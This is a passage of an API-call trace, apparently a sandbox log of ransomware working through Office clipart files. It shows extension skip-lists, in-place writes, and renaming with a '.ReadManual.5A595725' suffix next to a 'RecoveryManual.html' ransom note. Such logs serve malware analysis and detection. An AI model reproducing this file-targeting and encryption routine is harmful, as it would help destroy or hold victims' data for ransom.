0x76c1a55b [0271.556] CloseHandle (hObject=0x194) returned 1 [0271.556] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0271.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03339_.WMF" | out: lpString1="PE03339_.WMF") returned="PE03339_.WMF" [0271.556] lstrcmpiW (lpString1="PE03339_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.556] StrStrIW (lpFirst="PE03339_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.556] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" [0271.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ReadManual.5A595725" [0271.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.ReadManual.5A595725") returned 87 [0271.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39222513686) returned 1 [0271.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf")) returned 0x20 [0271.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10284) returned 1 [0271.557] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x282c, lpName=0x0) returned 0x184 [0271.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.602] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x282c) returned 0x2f0000 [0271.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39227133757) returned 1 [0271.603] CloseHandle (hObject=0x184) returned 1 [0271.603] SetSecurityInfo () returned 0x57 [0271.603] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.603] CloseHandle (hObject=0x194) returned 1 [0271.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0271.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03451_.WMF" | out: lpString1="PE03451_.WMF") returned="PE03451_.WMF" [0271.603] lstrcmpiW (lpString1="PE03451_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.603] StrStrIW (lpFirst="PE03451_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.603] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.603] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" [0271.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ReadManual.5A595725" [0271.603] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.ReadManual.5A595725") returned 87 [0271.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39227222493) returned 1 [0271.604] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf")) returned 0x20 [0271.604] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.604] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8456) returned 1 [0271.604] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2108, lpName=0x0) returned 0x184 [0271.604] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.605] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.605] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.649] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.649] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2108) returned 0x2f0000 [0271.649] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.649] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39231809642) returned 1 [0271.649] CloseHandle (hObject=0x184) returned 1 [0271.649] SetSecurityInfo () returned 0x57 [0271.650] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.650] CloseHandle (hObject=0x194) returned 1 [0271.650] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0271.650] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03453_.WMF" | out: lpString1="PE03453_.WMF") returned="PE03453_.WMF" [0271.650] lstrcmpiW (lpString1="PE03453_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.650] StrStrIW (lpFirst="PE03453_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.650] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.650] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.650] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" [0271.650] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ReadManual.5A595725" [0271.650] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.ReadManual.5A595725") returned 87 [0271.650] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39231901818) returned 1 [0271.650] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf")) returned 0x20 [0271.650] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.651] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7972) returned 1 [0271.651] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f24, lpName=0x0) returned 0x184 [0271.651] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.652] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.652] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.696] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.696] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f24) returned 0x2f0000 [0271.696] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.696] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39236491375) returned 1 [0271.696] CloseHandle (hObject=0x184) returned 1 [0271.696] SetSecurityInfo () returned 0x57 [0271.696] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.696] CloseHandle (hObject=0x194) returned 1 [0271.696] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0271.697] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03459_.WMF" | out: lpString1="PE03459_.WMF") returned="PE03459_.WMF" [0271.697] lstrcmpiW (lpString1="PE03459_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.697] StrStrIW (lpFirst="PE03459_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.697] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.697] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.697] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" [0271.697] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ReadManual.5A595725" [0271.697] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.ReadManual.5A595725") returned 87 [0271.697] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39236584172) returned 1 [0271.697] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf")) returned 0x20 [0271.748] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.749] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8568) returned 1 [0271.749] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2178, lpName=0x0) returned 0x184 [0271.749] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.750] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.750] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.789] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.790] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2178) returned 0x2f0000 [0271.790] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.790] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39245874276) returned 1 [0271.790] CloseHandle (hObject=0x184) returned 1 [0271.790] SetSecurityInfo () returned 0x57 [0271.790] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.790] CloseHandle (hObject=0x194) returned 1 [0271.790] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0271.790] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03464_.WMF" | out: lpString1="PE03464_.WMF") returned="PE03464_.WMF" [0271.790] lstrcmpiW (lpString1="PE03464_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.790] StrStrIW (lpFirst="PE03464_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.790] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.791] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.791] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" [0271.791] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ReadManual.5A595725" [0271.791] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.ReadManual.5A595725") returned 87 [0271.791] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39245973443) returned 1 [0271.791] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf")) returned 0x20 [0271.791] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.792] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5732) returned 1 [0271.792] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1664, lpName=0x0) returned 0x184 [0271.792] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.794] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.794] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.852] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.852] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1664) returned 0x2f0000 [0271.852] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.853] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39252129595) returned 1 [0271.853] CloseHandle (hObject=0x184) returned 1 [0271.853] SetSecurityInfo () returned 0x57 [0271.853] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.853] CloseHandle (hObject=0x194) returned 1 [0271.853] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0271.853] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03466_.WMF" | out: lpString1="PE03466_.WMF") returned="PE03466_.WMF" [0271.853] lstrcmpiW (lpString1="PE03466_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.853] StrStrIW (lpFirst="PE03466_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.853] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.853] StrCmpIW 